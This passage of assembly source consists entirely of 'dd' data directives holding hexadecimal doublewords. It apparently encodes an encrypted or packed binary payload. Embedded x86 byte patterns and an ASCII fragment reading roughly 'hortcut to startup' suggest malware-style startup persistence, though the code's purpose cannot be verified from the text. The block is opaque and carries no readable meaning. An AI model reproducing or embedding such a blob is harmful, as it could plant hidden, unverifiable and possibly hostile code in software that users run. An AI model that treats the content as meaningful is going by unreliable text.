		dd 0FFF7338Ch, 0F862684Fh, 0E07437A8h, 0A4E037A8h, 0F73E338Ch
		dd 0B8332F4Fh, 1AF3A156h, 25C90E3Fh, 0FD735F4h,	0A4D9B683h
		dd 0A49F338Ch, 0A4F9DBDFh, 0FF5D338Ch, 0F837684Fh, 0E0DE37A8h
		dd 0A4B837A8h, 0F794338Ch, 0F4B1E04Fh, 6D423CF1h, 4D2A8C83h
		dd 0A47D312Ah, 3503B8DEh, 0FE591AA3h, 0A5AE3332h, 0F4D759CAh
		dd 0A4EB3064h, 67AD138Ch, 80BEBAD4h, 8039B288h,	0A4BE2688h
		dd 670F738Ch, 39264F02h, 0A2FE19A5h, 0A4EB3664h, 9E9BE98Ch
		dd 0A3131A16h, 897D338Ch, 0C6FB2531h, 29051C03h, 88DF0D09h
		dd 0DD42188Ah, 5BED1AA5h, 0AB35B65Ch, 0A4F82208h, 6AF6558Ch
		dd 99D80B0Dh, 2150318Eh, 0A4AF33B9h, 4C8033E6h,	0A4EB338Fh
		dd 0FB366CACh, 0A0DE4F05h, 0A059770Dh, 0A4BE3395h, 0F09C64CBh
		dd 0ADC3FF0Fh, 295ABA75h, 25ED1AA1h, 999335F4h,	20F549D3h
		dd 0A47D318Ah, 9C3F5575h, 21505310h, 0A4AF33A4h, 4CD54B0Ch
		dd 0A4F5B683h, 2593338Ch, 0C292647Bh, 0A47B4B0Dh, 0A93B3C4Ch
		dd 2F5F338Ch, 0A577DA5Ah, 195C338Ch, 0A2C22DFDh, 0A5F43332h
		dd 0F3FA59F2h, 0A47D3064h, 67E1138Ch, 8023BAD3h, 80EBB288h
		dd 0A4D72588h, 67BC748Ch, 0C238A2E9h, 0C895C10Dh, 0D443B601h
		dd 25E935A0h, 2D454B7Bh, 74506AE4h, 4C8033E6h, 0A4EB338Fh
		dd 0FB366CACh, 0A0DE4F05h, 0A059770Dh, 0A4BE339Bh, 5B9C64CBh
		dd 4D0F636Bh, 0A4D73384h, 20A0EC49h, 1DEED4DCh,	9D1589EAh
		dd 2072F309h, 0A4BE32A6h, 9CDFED07h, 0D62A3C64h, 0AFD7338Ch
		dd 8DF2DA31h, 0A18DB38Ah, 0C67F3CFFh, 0CE7D338Ch, 0A756608Ch
		dd 845F338Ch, 2DF4F0D7h, 25D317D0h, 0BDEF17C8h,	0E7F5338Ch
		dd 0F5DFF0DFh, 9BAD50E8h, 0C4C3C40Ch, 0A459B083h, 2124338Ch
		dd 0A2FE3399h, 8DA6B687h, 249435A5h, 0ABA934F4h, 0A47C3608h
		dd 0F2BE598Ch, 0A45F3064h, 67F1138Ch, 80A3BAD2h, 80AFB288h
		dd 0A4F52588h, 67AC758Ch, 16C165C1h, 9C3F55BEh,	21503603h
		dd 0A4AF332Eh, 0A4D73E65h, 0D6A42D8Ch, 1343DE77h, 7508C74Eh
		dd 0DCFD6649h, 21B15B8Ah, 0A45F330Ah, 4CFE33E6h, 0A4D7338Fh
		dd 0FD286AACh, 0A0D17F05h, 0A0DE770Dh, 0A47D3391h, 977D62CDh
		dd 41DB4D3Eh, 59787F6Ah, 5D5AB82Dh, 0C2ED1A91h,	5BFE4B0Dh
		dd 0EB7F3CA9h, 0CE7D338Ch, 0A756648Ch, 845F338Ch, 2DF0F0D3h
		dd 25D317F0h, 0B0EF17C8h, 0E3F5338Ch, 95E4F0DBh, 8D6A6601h
		dd 0A4DEDA8Ah, 0A435338Ch, 0A4ACDBDAh, 0FAF7338Ch, 0D0626D4Fh
		dd 0E07437A8h, 0A4EE37A8h, 0F23B338Ch, 31B56A4Fh, 0A2762631h
		dd 0A1428E05h, 0A46F35A5h, 0ABEB338Ch, 8D95ED3Bh, 8DDA0231h
		dd 8A94528Ah, 0CEBE338Ch, 0A7B7608Ch, 84AF338Ch, 2D8CF0D7h
		dd 25EF17D0h, 0BDF117C8h, 0E7FA338Ch, 5A86F0DFh, 0D5B9846Dh
		dd 0A5E7F23Fh, 8DAF338Ch, 8DCDB201h, 25E4638Ah,	0A4F53390h
		dd 0AA1261DCh, 677D338Ch, 27EC7354h, 0E271857Eh, 9B88F989h
		dd 95D86A37h, 0FCB152ECh, 0CED13705h, 0A712608Ch, 847D338Ch
		dd 2DE5F0D7h, 255B17D0h, 0B1AB17C8h, 0E7D7338Ch, 4AF5F0DFh
		dd 0AA2EB2EAh, 6E47BE0Eh, 297B1DD9h, 8AE5BA01h,	0F17C8B8Ah
		dd 21AC44EAh, 0A2FE3F11h, 3332FCA7h, 59F2A5F4h,	3064F3FAh
		dd 138CA47Dh, 0BAD367E1h, 0B2888023h, 258880EBh, 5E983D7h
		dd 6A58A4F3h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 19042444h, 45000000h, 1A22C355h, 2221EC92h, 0DE9h, 0B03EEE00h
		dd 37AE68F4h, 44A154DDh, 6A342Fh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1B0424h, 52420000h, 1BD07FC3h, 6CEBBDE0h
		dd 0FC00B1Eh, 6F84h, 55006A00h,	3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1C04h, 0C3554500h, 3A8F4756h, 63842C01h
		dd 86C281B0h, 80001C9Bh, 0B58DACCBh, 6294D6Bh, 5D958Bh
		dd 10E80629h, 19000000h, 949E91C4h, 3FF9DF03h, 0DDBF1B5Dh
		dd 89277AECh, 2929D5B5h, 3B85906h, 8B000000h, 23E6FFF8h
		dd 2908C19Dh, 6E906h, 0B97D0000h, 0BAA6D074h, 7E840h, 53C0000h
		dd 1873E2D8h, 590EB2C6h, 1B759D89h, 0C08B0629h,	288D9589h
		dd 0BD830629h, 629309Dh, 83097500h, 290075BDh, 19740006h
		dd 0C08B5350h, 403B8h, 0A1858900h, 8D06290Dh, 2BAB099Dh
		dd 5BD3FF06h, 75BD8358h, 62900h, 53501774h, 403B8h, 0A1858900h
		dd 8D06290Dh, 2BA7AA9Dh, 5BD3FF06h, 56006A58h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 0B07F4706h
		dd 0B501744Fh, 62910B9h, 619BD31h, 6A0629h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 0FCAF65C3h
		dd 0F4C088CAh, 0FC08BFCh, 680h,	0A5BD8900h, 61062931h
		dd 0FE8h, 0FF418400h, 0C7BA479Bh, 5E653F91h, 0E95AE2E9h
		dd 0AE960h, 0E8040000h,	0DDF85151h, 24C907FFh, 0BD895861h
		dd 629275Dh, 59D3C081h,	0B5010000h, 629134Dh, 164368h
		dd 7E800h, 19080000h, 0C24FEE4Bh, 0EE91Ch, 0F1A50000h
		dd 2324692Ah, 0E4105CFBh, 0D2F207E2h, 8589595Eh, 62924E1h
		dd 9D8B30FFh, 6290A69h,	68F0F5Ah, 29000000h, 292D11B5h
		dd 0F5C28106h, 892BBADCh, 2933258Dh, 0B0C28106h, 66731448h
		dd 51BFD781h, 0ECA5C281h, 52F8171Dh, 8FF18B66h,	0BE900h
		dd 0B23A0000h, 261A9EDFh, 0A9AB8FBEh, 2E8837Ch,	9E9h, 5FBCAB00h
		dd 0AFBF1DEAh, 484841B6h, 49DFB70Fh, 0FF9A850Fh, 0CF81FFFFh
		dd 7DF9382Ch, 5EA08D8Dh, 6A062Eh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 140424h, 55450000h, 0DE9C5C3h, 1A000000h
		dd 0DF1BBD50h, 733AD1C1h, 82996FD0h, 1E6D8D89h,	0D08B0629h
		dd 2D8185C7h, 5AE80629h, 0BB660000h, 85C75DA3h,	6292005h
		dd 0
		dd 1839BD8Bh, 0B5FF0629h, 6291F6Dh, 0FFD1B70Fh,	2931E995h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1C04h
		dd 0C3564600h, 3E300A3Ah, 7B8F0E82h, 0FF006A7Ah, 29059195h
		dd 0EBC08B06h, 3F294F58h, 1A320D8Dh, 0B05D5282h, 37F9A7DDh
		dd 0E9CADF3Eh, 0A22A3056h, 4F3A05F6h, 734561DEh, 99303BE5h
		dd 76D7D9Dh, 10FDD4C7h,	3526C37Fh, 3F2308FCh, 9EBC5CC7h
		dd 0C6B7EA59h, 92B15B3h, 34F7B93Eh, 5C8A42Fh, 2927A4DCh
		dd 9EC23187h, 0BAC4EC87h, 58BADE26h, 0DE87Eh, 99E10000h
		dd 2986A5BCh, 0AC62D0F0h, 8B5853AEh, 2910E1B5h,	14E95906h
		dd 0B7000000h, 8F15EFA5h, 42725498h, 8AC75DD3h,	1649984Ah
		dd 81075869h, 66CBC1h, 41BD2900h, 0BA062926h, 198Dh, 8D01018Bh
		dd 6292D55h, 8EE4C081h,	9D8B6728h, 62904C9h, 0EA8FF081h
		dd 4EBF2890h, 81460526h, 1C77F1E8h, 0ED9D8B11h,	50062929h
		dd 2A398D89h, 18F0629h,	91DBD8Bh, 0E9830629h, 0FE902h
		dd 68350000h, 0B6CCED09h, 9EC76190h, 0A3FA43F2h, 83494927h
		dd 850F01EAh, 0FFFFFFA4h, 315820F5h, 3131C853h,	6B121001h
		dd 65BB52C2h, 75B30025h, 312E0625h, 63700101h, 0B15333C2h
		dd 0B991352Dh, 0CBB99F22h, 0BAEA9C67h, 3E36A0DEh, 3133F085h
		dd 0E08F8101h, 31342807h, 311C040Eh, 3E604001h,	0D86DFBB6h
		dd 313211DCh, 0D960086Bh, 31320402h, 6BF15821h,	35165588h
		dd 3516C480h, 31324015h, 32F17243h, 22939588h, 0EBB90E28h
		dd 3123EC51h, 2F50201h,	273255F7h, 78B92AA3h, 694D1FB6h
		dd 57E2B9CCh, 0B869E88Ah, 31582C05h, 3131EC50h,	68120201h
		dd 7DBB58C2h, 75B38425h, 312A4425h, 60732001h, 686096C2h
		dd 8A545477h, 303DF2FDh, 5BCC264Dh, 32DA5201h, 11328001h
		dd 0B869835Ah, 0B036045Dh, 28363445h, 72320801h, 3419C752h
		dd 9EDF28DCh, 62326B59h, 313283E9h, 0F2696001h,	156EA95Ah
		dd 15769105h, 31321F05h, 0F2614701h, 0F1ED162Dh, 193EBA67h
		dd 381E4082h, 182669B4h, 0B83AAB07h, 18380994h,	79B96E07h
		dd 60326EFDh, 313201E9h, 0F26B2101h, 157E0958h,	1576C105h
		dd 31323405h, 0F2635101h, 37B20735h, 0BA320401h, 18324B9Ch
		dd 8B36707h, 0B53D7F37h, 313240C4h, 0F0B17B50h,	1C871108h
		dd 0B1342108h, 0B43DED38h, 313202D0h, 0D961016Bh, 31328002h
		dd 6AF11B21h, 35167C88h, 35165480h, 3132081Ah, 0ADF15742h
		dd 0B57E0FAEh, 3E334E02h, 31328682h, 1887CB01h,	0B834092Bh
		dd 183D198Ch, 30738307h, 0D965046Bh, 31320202h,	6EF15E21h
		dd 3516FC88h, 35160480h, 31322014h, 42F14746h, 0CB850766h
		dd 3158CC02h, 3131EA57h, 6F120101h, 45BBDEC2h, 75B34425h
		dd 31282425h, 67741001h, 0E1D047C2h, 0E9885AC5h, 5B37C382h
		dd 32DA5001h, 11328001h, 0B86B8358h, 0B036044Dh, 24363445h
		dd 70320801h, 68DDC750h, 0AEFEF180h, 8B34419h, 0BA71CB91h
		dd 3111C50Eh, 863D2001h, 5ABF9DFBh, 0BA34214Ch,	182A8994h
		dd 3131BA07h, 0CECB0101h, 37B18FE0h, 0BA324001h, 18364594h
		dd 0B83D7107h, 3132080Dh, 31348A0Eh, 0ACB90201h, 371B29F0h
		dd 6EAF3D8Ch, 0BCBF462Fh, 371C41F5h, 0A3B164B9h, 44B73B00h
		dd 1A342D1Fh, 315820CEh, 3131C853h, 6B121001h, 65BB52C2h
		dd 75B30025h, 312E0625h, 63700101h, 0F305E983h,	6AC08BA4h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 18042444h
		dd 43000000h, 2D23C353h, 8B26E5C4h, 291B8995h, 0A1952906h
		dd 3062932h, 2908ADB5h,	61B58906h, 8B062920h, 658D8DC3h
		dd 6A062E63h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 15042444h, 47000000h, 4344C357h, 11E9h, 8D39F00h, 3AD078A0h
		dd 0D7163F6Ch, 0C72EB997h, 8D890BC5h, 6291E6Dh,	0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 77C35343h, 0D8EB2943h
		dd 59858B98h, 0F06290Fh, 138Fh,	0D8A0F00h, 0E8000000h
		dd 7, 6610189h,	58D5397Fh, 2D8185C7h, 6AA40629h, 0D2800000h
		dd 585C7C5h, 62920h, 60000000h,	33B5BD31h, 12E80629h, 0F0000000h
		dd 8E8A7314h, 0B25C3D75h, 0FADF2EC1h, 0A0C51A07h, 0FF615B9Fh
		dd 291A91B5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1804h, 0C3514100h, 746B8341h, 89958BAAh, 0FF062912h
		dd 2931E995h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1904h, 0C3504000h, 94C0E80Dh, 8166125Dh, 66AE19E8h
		dd 6AF08Bh, 59195FFh, 0C08B0629h, 4E2E1FEBh, 508D28BAh
		dd 0D94AD576h, 4FFCA228h, 0CA5BFB00h, 0CD2DDBDh, 1C9C4EF8h
		dd 1961EADBh, 7E842h, 9EDE0000h, 163C554Bh, 8E9C6h, 31390000h
		dd 0B27665Ch, 8B5A2A47h, 290D9DB5h, 87C28106h, 33000074h
		dd 2908ED8Dh, 6806h, 0F600000h,	858BDBB7h, 6292E11h, 89605B61h
		dd 2909B18Dh, 118D2906h, 61062909h, 811A3C8Bh, 68B343C7h
		dd 2860F01h, 0B4000000h, 0CFEF81FCh, 2B1AEDEDh,	2912958Dh
		dd 7FEF8106h, 89659239h, 14E81A3Ch, 2E000000h, 1B60F2FDh
		dd 9DB97450h, 0D7F3A15Dh, 0E1BA11CAh, 9F9119Bh,	291E09B5h
		dd 9D295E06h, 6292495h,	65DAEB81h, 0B8662DF0h, 0C38128D9h
		dd 2DF065D6h, 271DB50Bh, 0FB810629h, 0FFFF8C2Ch, 0FF92850Fh
		dd 0BF0FFFFFh, 6EE9C3h,	5E860000h, 68530B45h, 6374726Fh
		dd 74207475h, 7473206Fh, 75747261h, 70h, 15h dup(0)
		dd 0F71E9h, 666B6800h, 44E9062Eh, 68FFFBE5h, 62E6776h
		dd 0FBE53AE9h, 69A768FFh, 30E9062Eh, 68FFFBE5h,	62E69FCh
		dd 0FBE526E9h, 6AB468FFh, 1CE9062Eh, 68FFFBE5h,	62E6B45h
		dd 0FBE512E9h, 6F2668FFh, 8E9062Eh, 68FFFBE5h, 62E71CFh
		dd 0FBE4FEE9h, 72D568FFh, 0F4E9062Eh, 24FFFBE4h, 0D7E6ECB6h
		dd 9BA23082h, 5E6F7B49h, 29BD0Dh, 61D185D5h, 40124386h
		dd 8ED40B12h, 0D3A531D8h, 1062F687h, 3FD3CC42h,	3387205Dh
		dd 798833A0h, 0FF13F964h, 39B5849Dh, 0EBD2B360h, 0D93C86DAh
		dd 0B6769C82h, 2F16891Eh, 1260F095h, 0BE86BC0Bh, 0E285AA08h
		dd 5774CF9Bh, 0E82DB705h, 89E46A95h, 49857C92h,	9B783F9Ch
		dd 0A3F16380h, 14700058h, 3E3FDE4Ah, 0E71EB8D3h, 0E5485C84h
		dd 40h,	32E7696Ah, 49185C6Eh, 85E7FBF2h, 4839B494h, 6CF9EA4Bh
		dd 0F253421Ah, 94C617ABh, 14A93F9Bh, 37E6FEC4h,	3CA075CCh
		dd 0DD964824h, 0EC27623Fh, 5BED1B52h, 0FAD148h,	25C60000h
		dd 609BE2B4h, 8DD79D33h, 61D6DF8h, 0BA2274E5h, 0B548605Bh
		dd 7A0B5123h, 2A369CE6h, 39B58181h, 2EB4FE52h, 0A0FBC91Fh
		dd 0DDFCF249h, 45BE5116h, 0B5C13719h, 2E158639h, 7E23AD96h
		dd 39A45A70h, 77A27369h, 0CDD45BDEh, 0B19C7AF4h, 0D5C8A9E3h
		dd 9CBA5C3Dh, 6472A33Fh, 4A9E810Fh, 0D0B16478h,	0FF5172CDh
		dd 0BC4729B5h, 0B3963FDEh, 88B9770Fh, 0E6DDBED6h, 4073738Fh
		dd 9D7E45C7h, 4E9E2F86h, 4EB5587Ch, 0C89EF07Dh,	54E2B421h
		dd 31A4371Fh, 0BFE9F25h, 5800000Dh, 32AB80Ah, 0CFDE84CEh
		dd 0F29BCF9Dh, 0B4451161h, 0D50D5929h, 1466F732h, 5A28BF4Eh
		dd 9FF17D0Ch, 0E4AE22CBh, 6B8798FEh, 33871F09h,	79FC87D4h
		dd 84B0902Eh, 9E7F39B5h, 87D706A7h, 0CC96CAD3h,	607EC9h
		dd 0CF39B585h, 84FA5A74h, 0D0C539B5h, 0D9BA0C77h, 92CA98C4h
		dd 4B1163F3h, 9B92E94Ah, 9184E769h, 9C84B001h, 26BE5F3Fh
		dd 0DE862E0Ah, 0ACFB043Fh, 0A768D5C6h, 0F3DC27CCh, 0AA328998h
		dd 0C5FF2401h, 0B622C17h, 0C1485DC0h, 0BFh, 0D79D3356h
		dd 1D6DF88Dh, 89DFEC47h, 0C5EEC03Bh, 2E39B580h,	99FAE8BAh
		dd 0B588DA04h, 0EAF2C010h, 0D21CFF81h, 0A5FC2780h, 0E574D600h
		dd 75D6C79Dh, 5B77AE6Fh, 39B588F9h, 0D2ECD7C4h,	3F9CB873h
		dd 260D59BAh, 0F74E5598h, 0A93383D6h, 54411164h, 0B345C757h
		dd 3BAA3B62h, 82D9306Bh, 0EE598DAFh, 0AA8AD04Ah, 75460A2Dh
		dd 7C0D5DA0h, 0E895A1F1h, 0E831A423h, 0C004BCAh, 15450000h
		dd 0D3061743h, 96C6D783h, 5C8F9EC4h, 24B1580Eh,	4BDC0452h
		dd 5B0F5F8Eh, 1551DB2h,	369CEE78h, 0F7E3B127h, 10708E91h
		dd 0DF33871Eh, 0A233C77Eh, 0A738CDD0h, 6217CA6Dh, 0C2A32A3Bh
		dd 8ADEEFFBh, 7929AA38h, 84B0902Eh, 9E7F39B5h, 36D206A7h
		dd 0C3AF3425h, 0C1CCDB0Ch, 0F4B26FA6h, 0B7544F28h, 7E0F5527h
		dd 0D6C79DEDh, 0DDB60E75h, 860C6C82h, 0C2D339B4h, 9676EAFBh
		dd 0B4861878h, 5536E739h, 519C2201h, 7DDFF34Ah,	4039B485h
		dd 7D672DA3h, 0ADC43F98h, 9BA40815h, 766EAF3Fh,	0DDABFE5Ah
		dd 0A2FDD43Fh, 5C02D128h, 649FEA48h, 6ECEE0E4h,	0B13FDD86h
		dd 703C355Ch, 0B5972B72h, 783FDE0Eh, 7A8A09Bh, 3F000000h
		dd 87D43h, 0E769B800h, 54019184h, 0F33F9C94h, 0A4165C94h
		dd 0A7766E34h, 448F0470h, 93EA4B17h, 7C015BB8h,	2930A6ECh
		dd 9CF7EDB7h, 0A2C91249h, 0CE35DE29h, 1AE06AF0h, 53AAF565h
		dd 22E2DDBFh, 6939AAA7h, 3082D1F2h, 0B58869ACh,	0F464316Ch
		dd 801077AEh, 7CEFCE7Fh, 6032A637h, 4A2997Ch, 0CB91E375h
		dd 23815A37h, 9CF792A7h, 0B5A33695h, 30CA2E2Dh,	1A68F8CDh
		dd 592BBD4Ch, 0B2166F03h, 0E22F33B7h, 347ED2A7h, 10E9AE1h
		dd 8EA68E38h, 0D8197B97h, 37E4A722h, 499FACCh, 0C7D68ED4h
		dd 2B79EFFCh, 2548F6B1h, 0FDEDE0FEh, 0CBD8AD09h, 7EED7A96h
		dd 78A28257h, 0C6E73E9Fh, 7499C393h, 0A1FDB901h, 0F52F085Fh
		dd 2064BED9h, 0C12CD2DDh, 3C11C4DAh, 6DC4B333h,	3E9CFC12h
		dd 0B263B375h, 753F4C2Ch, 0CF455FB3h, 0F245BC0Bh, 0F853AA6Bh
		dd 6CE3001Bh, 645FBE26h, 4D0366B9h, 0C91EFB9Dh,	0A52204Ch
		dd 0FFD32A8Bh, 616489B0h, 91E17293h, 88F3CACBh,	0DF415106h
		dd 2E91858Ah, 0F9090CEDh, 976C9A08h, 0C3459637h, 1F410FA7h
		dd 0CE9677A3h, 0B85DF4CFh, 0B2104065h, 0EEF6571Fh, 0B3FCD42Fh
		dd 27BBE20Dh, 9D93F377h, 0C1E239DAh, 0C291C58Fh, 36CD0A67h
		dd 635A0662h, 0BE440E42h, 8975EECDh, 0CF7419BBh, 94000009h
		dd 47567C46h, 0B124012h, 0CEDF8BD9h, 0F099CD9Dh, 11411565h
		dd 0D0A233F6h, 1E64FB82h, 6335A148h, 0A0F26677h, 0AF435C32h
		dd 33871BCDh, 7938C310h, 0FD15F364h, 39B5849Bh,	8CD0B162h
		dd 0BDEB1E09h, 893D1565h, 0F5BF11B2h, 4F362841h, 0B3E2F025h
		dd 97Ah, 9DC99BCFh, 41155D8Ch, 85E2CB8h, 32A0F261h, 0FAE8BA2Bh
		dd 0FD68AD7Ah, 0BF1039ADh, 88D6E7F3h, 4799A036h, 0EC37697Dh
		dd 871C72D2h, 6518BD33h, 8DD79D33h, 491D6DF8h, 0D17FB1CDh
		dd 0D92C879Eh, 0AA3BDCD3h, 61184D8h, 7F46BF4Eh,	9C98AE63h
		dd 9574993Fh, 31F29C3Dh, 628D33FEh, 8CC3E03Bh, 47F9EC6h
		dd 83043BAAh, 6B71A207h, 0A15DF310h, 29E3B941h,	8CD0B173h
		dd 0BB075809h, 54973940h, 7F01B141h, 9600DA9h, 0F18197F9h
		dd 79C0AA0Dh, 46C880Ah,	0C9D93CD1h, 0DF10F67h, 918465B6h
		dd 0F366DC0Ch, 7BD439A3h, 0B80A5E6Fh, 8B04ED8Ah, 7C11A3F9h
		dd 8C2h, 55015387h, 194D1544h, 0C096E470h, 8AD8AA39h, 0B22072E3h
		dd 0B520E502h, 77E8F1E5h, 40AEBF2Bh, 0FF51786Eh, 346F21B5h
		dd 871ABA9Ah, 2DD00533h, 8DD79D33h, 0B61C6EF8h,	0B5846AAAh
		dd 509B2539h, 0E089B54Dh, 85E03F9Bh, 52FDF05h, 59BC1D35h
		dd 16B8BB0Eh, 3D39B60h,	29B30352h, 9CCC91E4h, 0F678CFD6h
		dd 55142060h, 0CAA93104h, 84D8AA39h, 47992A11h,	54085A8Dh
		dd 0E9FCE041h, 93B22A7Ch, 2548143h, 0C1095A1h, 22B02B7Eh
		dd 83173h, 92E47600h, 0D2A435C4h, 1567F584h, 5F2BB841h
		dd 0A3F3620Bh, 0BD788F37h, 61085E30h, 2F3EA4EEh, 0D0F9EDBFh
		dd 0E2A43280h, 1A3F21B1h, 4D8E3387h, 0D79D33B6h, 1A68F88Dh
		dd 306B2642h, 74AFF56Bh, 4BB20057h, 0DC5A937Fh,	2F924233h
		dd 19000005h, 9184E769h, 71D3EF46h, 0BC39B585h,	0A04A645Fh
		dd 3B3F9BE0h, 4816E6ECh, 231AB422h, 73908B08h, 6E5221DDh
		dd 0D4FAE8F2h, 7D046F7Bh, 0AD566A72h, 61470801h, 1C55ED28h
		dd 0D0C1CE45h, 3Fh, 0E1B126C7h,	2F77EAFBh, 0D68760B5h
		dd 54CF3688h, 9A81EA69h, 0B5852404h, 0B22AEB39h, 0D2E67E9Eh
		dd 0AAE52C19h, 9B21D910h, 111362h, 79980000h, 0E5FF364h
		dd 14F518BCh, 200EC21h,	69490000h, 0C7DB81EAh, 40D9E91Ch
		dd 0E25CB792h, 0BBA0488Bh, 3941h, 6479D600h, 2D54AFF3h
		dd 85D6F7A6h, 84C7A935h, 851639B5h, 94A0B024h, 0DE40D9E8h
		dd 748998F3h, 0FBA79EE4h, 0BBA02B82h, 937Ah, 529C2100h
		dd 0D4742AB6h, 19FA8602h, 22792B22h, 0C110A2FCh, 96A5A6F1h
		dd 983B42B9h, 8F683AAFh, 92E07794h, 0DEBE50ABh,	2139B527h
		dd 0DB81D11Ch, 2601593Ah, 0CF5C9438h, 0A2037AD4h, 51F94233h
		dd 4E000000h, 9A81EA69h, 0D987374Fh, 6558A966h,	0C592F40Ah
		dd 429939B4h, 3F5ABDB0h, 0E6485FC1h, 0B84900Bh
		dd 53360174h, 0DF9DA4B3h, 0EAB82F4Ah, 0E14223F2h, 0A4FC1A60h
		dd 7FF6504Bh, 7D423376h, 10h, 77F8C722h, 3CF95C98h, 2B434EF9h
		dd 0B8000001h, 0D143h, 0EA69B800h, 3495DF71h, 0C55B90A0h
		dd 0EE3B6CE5h, 2E21BB3h, 8B1A9784h, 61000000h, 9A81EA69h
		dd 0E5074B4Fh, 0F1C448CAh, 262808A6h, 90F739B5h, 0B79F2C31h
		dd 96CEAF1Bh, 95857EFAh, 62BD9419h, 53E691E8h, 424B62h
		dd 69D00000h, 4F9A81EAh, 0E08F70E1h, 0A4FFC614h, 0B5662A0Ah
		dd 0BC20F539h, 0B70F84E3h, 730D3B31h, 0D0BAB608h, 0F9D05494h
		dd 15CD249Eh, 9BEEAF53h, 0B72174F7h, 0DC54AF73h, 22h, 0E2B422C3h
		dd 29201BFAh, 0CC152279h, 0AF3D1FB3h, 138039B4h, 0C4985C04h
		dd 176ECF93h, 81C6h, 9D333F00h,	5BB28DD7h, 0B584E547h
		dd 90EB2839h, 0B585633Eh, 0F02B7039h, 7B6F35ABh, 4F31C118h
		dd 5239B585h, 0A8A191A7h, 76A7BE0Eh, 0EA69140Fh, 881D4081h
		dd 40550F5Bh, 0A456057Dh, 10776D35h, 6A3DEB93h,	0D50B5496h
		dd 3F98EA7Fh, 7020FA5h,	0F32E4342h, 0B53B8FABh,	0A2DAB039h
		dd 5A423380h, 0FFFFFEFAh, 0F76479A1h, 0C30350ABh, 18000002h
		dd 0E5AD3CC1h, 0E0401EFFh, 0A539B584h, 1DFE6537h, 64792F26h
		dd 0E332AAF8h, 21145EF2h, 1F064C9Ch, 854A2AC4h,	9539B5h
		dd 4E82A33Dh, 0E0055E04h, 21039F75h, 0EC39B585h, 0C774E2Fh
		dd 784A9F82h, 736A849Fh, 6A3F9CB5h, 2FB80A59h, 1CF1EBB9h
		dd 2B091943h, 73FDEB6h,	23C0CFCAh, 14F9E3B1h, 0F1086121h
		dd 3CC4485Ch, 4B000000h, 9184E769h, 71D3EF46h, 0BC39B585h
		dd 7B4A645Fh, 0A23F9C84h, 0F3106B71h, 952D1062h, 3FDE84B7h
		dd 99298093h, 3FDE84B7h, 0CE155D8Ch, 6EA9F6CDh,	5CDB9DD4h
		dd 0E15F48h, 79A40000h,	84B0902Eh, 66F539B5h, 0E9CCC114h
		dd 0A63E84D4h, 50045687h, 0D454A007h, 0D2BDEAF2h, 3C86DAEBh
		dd 1538598h, 0B5D891Ah,	88E80651h, 5739B580h, 0C89EE546h
		dd 0BE711C6Bh, 496A51DFh, 9335C72h, 4C9C39B5h, 6D135006h
		dd 568A1B02h, 0C0DE290Ch, 3F9DBA57h, 0EF3A61B2h, 0B04E6CEEh
		dd 3FE111D0h, 88ABFE1Fh, 64BF865Dh, 1E441647h, 0F27CDE0Fh
		dd 7833C7A0h, 0C42B7AF7h, 4509FFEh, 0C5150000h,	83D6E7F3h
		dd 4696A733h, 0C5F6E74h, 0D40128BEh, 9B6CD482h,	2BBF0F5Eh
		dd 0D185CD02h, 86CC9EC8h, 471361F7h, 60C0DEC1h,	0AF338716h
		dd 6479972Eh, 99FB17F5h, 6439B584h, 0FF8ED6B7h,	5144186Ah
		dd 0AD388DF0h, 536FC6DDh, 39B584F1h, 0C2E4DF3Ch, 0BC2FA53Bh
		dd 4627F6EEh, 34A24310h, 79E01B62h, 2A37DB2Eh, 4DFC59E1h
		dd 0B49B2F11h, 261DFE39h, 5B015385h, 64C164Ah, 5548A32Dh
		dd 9BC148BDh, 65EBF3Fh,	0DDC90C6Ah, 524DD83Fh, 67BEB15Fh
		dd 1D471746h, 546A85F8h, 45C4EF61h, 0A469F154h,	0CAE2D4EBh
		dd 0A37C4699h, 9FD27C37h, 0ED892184h, 35AF016Dh, 0E2ECB1E0h
		dd 2EC0DB22h, 4BECE304h, 5E6FB667h, 0EC21BB0Bh,	0FF6D7E89h
		dd 0ABD27D1Bh, 21B0934Ah, 4317F051h, 3C4299F0h,	235CD6D5h
		dd 42A0A50h, 20F54C35h,	39D85DDh, 70FE4C35h, 66D1481Eh
		dd 2A000000h, 0B585623Eh, 0A1CA7539h, 0BC176E35h, 0B5854222h
		dd 52088D39h, 39B584F2h, 0C0E5D83Dh, 829EC694h,	39B584A2h
		dd 0BF2577E7h, 686C3EAEh, 0DBA734A5h, 72ADFA81h, 31E0BD5h
		dd 5A91A9FCh, 3BA1F365h, 970DCFDAh, 4B174415h, 0B3015370h
		dd 0F6C81627h, 5777D2EEh, 98C39B5h, 411B67F4h, 0ED28694Ch
		dd 666C3EA8h, 0D1A333FDh, 1A6CFA8Bh, 0D22EA342h, 328338C9h
		dd 0D58F689Eh, 89D39F30h, 56F32E7Bh, 0CD8A8580h, 0FF9BCFA1h
		dd 39B56FA5h, 0EA0FB22h, 39B5712Eh, 79D91CF1h, 4233ABFFh
		dd 0FFFF5FFDh, 9D3342FFh, 68F88DD7h, 82D003A0h,	0C5A73BDAh
		dd 839B584h, 0F7BC2A8Bh, 0A8FF2649h, 5B4BD9FDh,	11685363h
		dd 9C360881h, 38A6473Fh, 0A49F7E66h, 0F015088Dh, 246EE161h
		dd 0D8FC5DB0h, 70D0EE35h, 0BF3FDE36h, 0B54D675Eh, 3FDE35D7h
		dd 0C37B96F3h, 485C70AAh, 4F22h, 0E769A900h, 84C0A03Eh
		dd 340F39B5h, 0B584BA9Ah, 37900539h, 826333A6h,	84B6079Bh
		dd 0B4593F9Ch, 86341020h, 331E3FDEh, 607EC9D8h,	3FDE8600h
